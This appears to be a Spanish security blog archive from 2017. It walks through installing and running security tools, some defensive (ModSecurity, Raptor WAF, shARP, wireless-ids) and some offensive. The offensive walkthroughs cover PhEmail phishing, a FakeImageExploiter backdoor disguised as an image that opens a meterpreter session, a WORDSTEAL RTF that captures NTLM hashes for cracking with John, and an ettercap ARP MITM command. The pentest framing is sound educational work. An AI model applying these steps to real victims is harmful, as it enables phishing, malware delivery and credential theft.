jueves, 18 de mayo de 2017

RAPTOR WAF (Web Application Firewall)


Descripción:

Raptor WAF es un firewall de aplicaciones web desarrollado en C, cuyo cometido es bloquear los ataques de SQLi, XSS y Path Traversal.

PoC:

Requisitos:
$ sudo apt-get install make

Clonamos el repositorio de Github, compilamos el programa y lo ejecutamos:

$ git clone https://github.com/CoolerVoid/raptor_waf
$ cd raptor_waf
$ make
$ bin/raptor
*Es importante que ejecutemos la herramienta desde la raíz (bin/raptor) ya que sino tendremos problemillas.

Un ejemplo de uso sería:

$ bin/Raptor -h 127.0.0.1 -p 80 -r 8080 -w 4 -o log.txt

* -h Para el host, -p para el puerto, -r para la redirección del puerto, -w para el nivel de protección, -o para la salida del log.

Para la PoC he usado DVWA
PoC XSS:


<script>alert("XSS")</script>


Como podéis ver en la siguiente captura se come el SQL injection (Me gustaría que probarais la herramienta y dejaseis en comentarios vuestros tests):


martes, 16 de mayo de 2017

COMO PROTEGERSE DE ATAQUES WEB con modsecurity WAF

 

Descripción:

"ModSecurity es una herramienta que te ayudará a dormir mejor por la noche, y voy a explicar cómo. Normalmente llamo a ModSecurity un firewall de aplicaciones web (WAF), porque eso es lo general. Otras veces herramienta de detección de intrusiones HTTP, porque creo que describe mejor lo que hace ModSecurity. Ninguno de los dos nombres es totalmente adecuado, el caso es que las aplicaciones web, la tuya, la mía, la de todos son terriblemente inseguras en promedio. Hay que luchar para mantenerse al día con los problemas de seguridad y necesitamos cualquier ayuda que podamos obtener para protegernos." 
Extracto del libro: https://www.amazon.com/ModSecurity-Handbook-Complete-Application-Firewall/dp/1907117024

Tutorial:

Empezamos instalando modsecurity, lo haremos con el simple comando:
# apt-get install libapache2-modsecurity

Compronamos que está instalado correctamente:
# apachectl -M | grep --color security


Configuración:

El archivo de configuración predeterminado se establece en DetectionOnly que registra las solicitudes de acuerdo con las coincidencias de reglas y no bloquea nada, asíque vamos a editarlo:
  
$ nano /etc/modsecurity/modsecurity.conf
*También puede ser /etc/modsecuritymodsecurity.conf-recommended así que renombrarlo:
$ mv /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf

Buscamos la lína "SecRuleEngine DetectionOnly" y la cambiamos por:
SecRuleEngine On


Otra directiva a modificar es "SecResponseBodyAccess". Esto configura si los cuerpos de respuesta están almacenados en búfer (es decir, leídos por modsecurity). Esto sólo es necesario si se requiere detección y protección de fugas de datos. Por lo tanto, dejarlo activado utilizará los recursos de droplet y también aumentará el tamaño del archivo de registro.

Buscamos la línea "SecResponseBodyAccess On" y la cambiamos por:
SecResponseBodyAccess Off



Ahora limitaremos los datos máximos que se pueden publicar en la aplicación web. Dos directivas las configuran:

SecRequestBody
LimitSecRequestBody
NoFilesLimit 

La directiva SecRequestBodyLimit especifica el tamaño máximo de datos POST. Si algo más grande es enviado por un cliente, el servidor responderá con un error 413 Request Entity Too Large. Si tu aplicación web no tiene ninguna subida de archivos, este valor puede reducirse considerablemente. El valor mencionado en el archivo de configuración es:

SecRequestBodyLimit 13107200
Que es 12.5MB. 

Similar a esto es la directiva SecRequestBodyNoFilesLimit. La única diferencia es que esta directiva limita el tamaño de los datos POST menos subidas de archivos. Este valor debe ser "tan bajo como sea práctico". El valor en el archivo de configuración es:

SecRequestBodyNoFilesLimit 131072
Que es 128KB.

A lo largo de las líneas de estas directivas es otro que afecta el rendimiento del servidor: SecRequestBodyInMemoryLimit. Esta directiva es bastante evidente por sí misma; Especifica cuánto de los datos del "cuerpo de la petición" (datos POSTed) debe mantenerse en la memoria (RAM), cualquier cosa más se colocará en el disco duro (al igual que el intercambio). Se puede establecer un valor decente si tienes memoria RAM de sobra. 

SecRequestBodyInMemoryLimit 131072
Este es el valor (128KB) especificado en el archivo de configuración.  


Reglas:

Para hacer la vida más fácil, hay un montón de reglas que ya están instaladas junto con mod_security. Estos se llaman CRS (Core Rule Set) y se encuentran en:  /usr/share/modsecurity-crs/

La documentación está disponible en: /usr/share/doc/modsecurity-crs/ 

Para cargar estas reglas, necesitamos decirle a Apache que examine estos directorios.

$ sudo nano /etc/apache2/mods-enabled/modsecurity.conf
*El archivo estará vacío

Agrega las siguientes directivas dentro de <IfModule security2_module> </ IfModule>:
Include "/usr/share/modsecurity-crs/*.conf"
Include "/usr/share/modsecurity-crs/activated_rules/*.conf"


 

El directorio activated_rules es similar al directorio habilitado para mods de Apache. Las reglas están disponibles en directorios:
/usr/share/modsecurity-crs/base_rules
/usr/share/modsecurity-crs/optional_rules
/usr/share/modsecurity-crs/experimental_rules


Los enlaces simbólicos deben crearse dentro del directorio activated_rules para activarlos. Activemos las reglas de inyección de SQL:

$ cd /usr/share/modsecurity-crs/activated_rules/
$ sudo ln -s /usr/share/modsecurity-crs/base_rules/modsecurity_crs_41_sql_injection_attacks.conf . 
 
 
 
 

$ sudo service apache2 reload
$ sudo service apache2 restart

Podremos encontrar los logs en: /var/log/apache2/modsec_audit.log

PoC:

Una vez instalado todo vamos a probar un ataque de inyección SQL.
Nos vamos al log y lo abrimos con tailf, una vez hecho esto nos dirigimos a DVWA (admin:password), vamos al apartado SQL Injection, escribimos una ' y vemos como nos dará prohibido el acceso y nos saldrá un mensaje en el log.



Este artículo ha sido "una primera toma de contacto con modsecurity", ya que ofrece muchas posiblidades y aquí solo se ha visto un ejemplo básico, si quieres profundizar más sobre este campo te recomiendo leer el libro que puse al principio de la entrada.

jueves, 11 de mayo de 2017

EMAIL SPOOFING #2 con phemail

 

Descripción:

En los últimos años las redes se han vuelto más seguras mediante el endurecimiento de servidores y el despliegue de dispositivos de seguridad como firewalls y sistemas de prevención de intrusiones. Esto ha hecho más difícil para los ciberdelincuentes el lanzamiento exitoso de ataques directos desde fuera del perímetro de la red. Como resultado, los ciberdelincuentes recurren cada vez más a ataques indirectos a través de la ingeniería social y los correos electrónicos de phishing.

PhEmail es una herramienta de codigo abierto escrita en python que automatiza el proceso de envío de correos electrónicos de phishing como parte de una prueba de ingeniería social. 
El objetivo principal de PhEmail es enviar un montón de correos electrónicos de phishing y demostrar quién hizo clic en ellos sin intentar explotar el navegador web o cliente de correo electrónico, sino recopilar la mayor cantidad de información posible. PhEmail viene con un motor para garther direcciones de correo electrónico a través de LinkedIN, útil durante la fase de recopilación de información. Además, esta herramienta admite la autenticación de Gmail, que es una opción válida en caso de que el dominio de destino tenga en la lista negra el correo electrónico de origen o la dirección IP. Por último, esta herramienta se puede utilizar para clonar los portales de inicio de sesión corporativos con el fin de robar las credenciales de inicio de sesión.
El uso de PhMail para atacar objetivos sin consentimiento mutuo previo es ilegal.
Es responsabilidad del usuario final obedecer todas las leyes locales, estatales y federales aplicables.
Los desarrolladores no asumen responsabilidad y NO son responsables de ningún uso indebido o daño causado por este programa.

PoC:

Clonamos el repositorio, entramos en la carpeta y creamos un archivo llamado emails.txt en el cual añadiremos los correos de las víctimas, el siguiente paso será ejecutar la herramienta, así es, no tenemos que configurar nada.

$ python phemail.py -e emails.txt -f "Name Surname <name_surname@example.com>" -r "Name Surname <name_surname@example.com>"

 Nos llegará al buzón de SPAN ya que el mensaje no va cifrado.

Toda la documentación está en la página del proyecto podéis ir a visitarla: https://github.com/Dionach/PhEmail
En este blog hay otra entrada de email spoofing por si te interesa verla: https://elcandadoinformatico.blogspot.com.es/2016/08/email-spoofing.html
 

lunes, 8 de mayo de 2017

COMO DETECTAR INTRUSOS EN TU RED con wireless-ids

Descripción:

Wireless IDS es una herramienta de código abierto escrita en Python y que trabaja en entorno Linux. Esta herramienta snifeará el tráfico de tu red buscando actividades sospechosas. La herramienta puede hacer lo siguiente:

- Detectar la desautenticación masiva enviada al cliente/punto de acceso que indica un posible ataque para obtener el handshake.
- Envío continuo de datos al punto de acceso utilizando la dirección MAC de difusión que indican la posibilidad de ataques WEP.
- Cantidad irrazonable de comunicación entre el cliente inalámbrico y el punto de acceso mediante la autenticación EAP que indican la posibilidad de un ataque WPS bruteforce de Reaver/WPSCrack
- Detección de cambios en la conexión del punto de acceso que puede tener la posibilidad de conexión a Rogue A

- ...

Más información en el proyecto de github: https://github.com/SYWorks/wireless-ids   

PoC:

$ sudo apt-get install Aircrack-NG && tshark (En caso de estar en Kali Linux no haría falta)
$ git clone https://github.com/SYWorks/wireless-ids
$ cd wireless-ids
$ sudo python wids.py -i <interfaz>

martes, 2 de mayo de 2017

EMBEBER BACKDOOR EN IMAGEN con FakeImageExploiter

 

Descripción:

Este módulo toma una imagen existente.jpg y un payload.ps1 y crea un nuevo payload (agent.jpg.exe) que si se ejecuta activará la descarga de los 2 archivos anteriores almacenados en apache2 (image.jpg + payload.ps1) y se ejecutarán.

Este módulo también cambia el icono agent.exe para que coincida con un archivo.jpg y añade la terminación .exe después del .jpg quedando: agent.jpg.exe (Para que windows solo vea .jpg, bien sabemos que esto es un poco inútil..)

Todos los payloads se descargarán desde nuestro servidor web apache2 y se ejecutarán en la RAM de destino. La única extensión que requiere escribir el payload en el disco son binarios .exe.


Puedes ver más acerca de este proyecto en el enlace de github: https://github.com/r00t-3xp10it/FakeImageExploiter

PoC:

$ git clone https://github.com/r00t-3xp10it/FakeImageExploiter
$ cd FakeImageExploiter
$ nano settings.txt

Configuramos la extension que tendrá nuestro payload (En mi caso usaré .bat) y la extension de la imagen (En mi caso .png)


También deberemos cambiar los siguientes parámetros:
AUTO_PAYLOAD_BUILD=YES
AGENT_HANLER_PORT=8888


Una vez hecho esto ejecutamos el script (Si es la primera vez nos descargará e instalará los requisitos):
$ ./FakeImageExploiter.sh

Deberemos seleccionar en Versión a imitar: Windows 7

Y le damos a "YES" para ejecutar el framework



Seleccionamos el payload:



Seleccionamos la imagen:


Seleccionamos el icono:


Ponemos el nombre:


He de decir que aquí tuve un problema: ResourceHacker.exe -> not found!


Para solucionarlo hice lo siguiente:
$ dpkg --add-architecture i386 && apt-get update && apt-get install wine32
$ wine /bin/reshacker_setup.exe
Todo a siguiente.

*El fallo se debe a que estaba usando una arquitectura de 64. Así que lo que hice fué instalarlo manualmente con wine32.

Generará un link el cual deberemos pasar a nuestra víctima y cuando abra la imagen nos abrirá una sesión meterpreter.


Nos vamos al cliente Windows y descargamos el .zip




Por último os dejo un escaneo del archivo:

jueves, 27 de abril de 2017

Escaner vulnerabilidades WEB: Wapiti


Descripción:


Wapiti permite auditar la seguridad de aplicaciones web, realiza exploraciones de "caja negra", es decir, no estudia el código fuente de la aplicación, sino que analiza las páginas web de la aplicación web desplegada buscando secuencias de comandos y formularios donde puede inyectar datos.

Una vez que obtiene esta lista, Wapiti actúa como un fuzzer, inyectando payloads para ver si un script es vulnerable.

Puede detectar las siguientes vulnerabilidades:

+ Database Injection (PHP/ASP/JSP SQL Injections and XPath Injections)
+ Cross Site Scripting (XSS) reflected and permanent
+ File disclosure detection (local and remote include, require, fopen,
  readfile...)
+ Command Execution detection (eval(), system(), passtru()...)
+ XXE (Xml eXternal Entity) injection
+ CRLF Injection
+ Search for potentially dangerous files on the server (thanks to the Nikto db)
+ Bypass of weak htaccess configurations
+ Search for copies (backup) of scripts on the server

 

Características:


+ Genera reportes de vulnerabilidad en varios formatos (HTML, XML, JSON, TXT ...)
+ Puede suspender y reanudar una exploración o un ataque
+ Puede darle colores en el terminal para resaltar las vulnerabilidades
+ Diferentes niveles de verbosidad
+ Manera rápida y fácil de activar / desactivar los módulos de ataque
+ Añadir un payload puede ser tan fácil como añadir una línea a un archivo de texto


Requisitos:


+ Python >=2.6
+ python-requests >=v1.2.3 ( http://docs.python-requests.org/en/latest/ )
+ BeautifulSoup ( http://www.crummy.com/software/BeautifulSoup/ )
+ python-xml

Para más información aquí tienes el link del proyecto en github: https://github.com/IFGHou/wapiti

PoC:


Descargamos Wapiti (En caso de Kali Linux viene por defecto)
$ git clone https://github.com/IFGHou/wapiti
$ cd wapiti
$ sudo setup.py install
$ cd bin
$ python wapiti [URL]

 Ejemplo1: Code Injection

Ejemplo2: XSS

 Ejemplo3: Reporte HTML
Como máquina de pruebas he usado Web for Pentester I, puedes encontrar la descarga completamente gratis aquí: https://pentesterlab.com/exercises/web_for_pentester

domingo, 23 de abril de 2017

COMO DETECTAR UN SNIFFER EN TU RED con shARP

Descripción:

La falsificación de ARP permite a un atacante interceptar paquetes de datos en una red, modificar el tráfico o detener todo el tráfico. A menudo, el ataque se utiliza como una apertura para otros ataques, como la denegación de servicio, ataques de man in the middle, o los ataques de secuestro de sesión. Nuestro programa anti-ARP (shARP) detecta la presencia de un tercero en una red privada activamente. Tiene 2 modos: defensivo y ofensivo. 
El modo defensivo protege al usuario final del spoofer desconectando el sistema de la red. 
El modo ofensivo desconecta el sistema del usuario de la red y expulsa al atacante enviando paquetes de desautenticación a su sistema, incapaz de volver a conectarse a la red hasta que el programa se restablezca manualmente. 
El programa crea un archivo de registro (/usr/shARP/) que contiene los detalles del ataque, como la dirección Mac de los atacantes, la hora del proveedor de Mac y la fecha del ataque. Podemos identificar el NIC del sistema de los atacantes con la ayuda de la dirección MAC obtenida. Si es necesario, el atacante puede ser permanentemente baneado de la red metiendo la dirección MAC en la lista de bloqueo de nuestro router.

PoC:

Clonamos el repositorio de la herramienta y la ejecutamos:
$ ./shARP -d INTERFAZ

*-d para activar el programa en modo defensivo
*-h Ayuda


Hacemos un MITM con la herramienta ettercap ($ sudo apt-get install ettercap-text-only):
$ ettercap -T -M arp /IPVICTIMA// /IPPuertaEnlace//


Nos informará que que la MAC de nuestra puerta de enlace ha sido spoofeada y se desconectará de la red.


Tenéis toda la documentación en el proyecto: https://github.com/europa502/shARP yo he tenido problemas al instalarlo en Ubuntu 16 y en Debian 8, pero en Kali Linux funciona perfectamente.

Solucion al problema: ping: unknown host gateway
$ sudo nano /etc/hosts
Y añadimos la IP del gateway con el nombre "gateway".



lunes, 17 de abril de 2017

Roba credenciales de Windows remotamente con documento Word | WORDSTEAL

 

Descripción:

Microsoft Word tiene la capacidad de incluir imágenes de ubicaciones remotas. Esta es una característica indocumentada pero fue encontrada usada por los creadores de malware para incluir imágenes a través de http para las estadísticas. También podemos incluir archivos remotos a un servidor SMB y la víctima se autenticará con sus inicios de sesión cartas credenciales. Esto es muy útil durante un pentest porque le permite robar credenciales sin activar alertas y la mayoría de las aplicaciones de seguridad no detectan esto.
Este script en python nos genera un documento MS Office el cual contendrá una imagen de nuestro servidor, y pondrá a la escucha el modulo de metasploit llamado auxiliary/server/capture/smb que  actúa como un recurso SMB para capturar hashes de contraseñas de usuario para que puedan ser explotados posteriormente.

PoC:

Kali Linux (Atacante)
Windows 10 (Víctima) con MS Office 2007

Desde nuestro Kali Linux clonamos el repositorio
Una vez clonado descargamos una imagen cualquiera y la metemos en la carpeta del repositorio.
Y usamos el comando:
python main.py IPLOCAL IMAGEN.jpg 1
Esto nos generará un archivo RTF (Rich Text Format) y nos pondrá a la escucha el modulo de metasploit auxiliary/server/capture/smb.


El último paso será enviar el archivo RTF a nuestra víctima y al ejecutarlo nos dará los hashes NTML.



Usaremos John para descifrarlos
$ john password_netntlmv2

Como se puede ver en la imagen john tardó 28 minutos en crackear las contraseñas.

Te dejo una web donde puedes comprobar en cuanto tiempo se puede crackear la contraseña que pongas.

Por cierto, el word generado es indetectable por los antivirus. https://nodistribute.com/result/W20PBQ9iFsaTmptXh6udblvoAL

Video: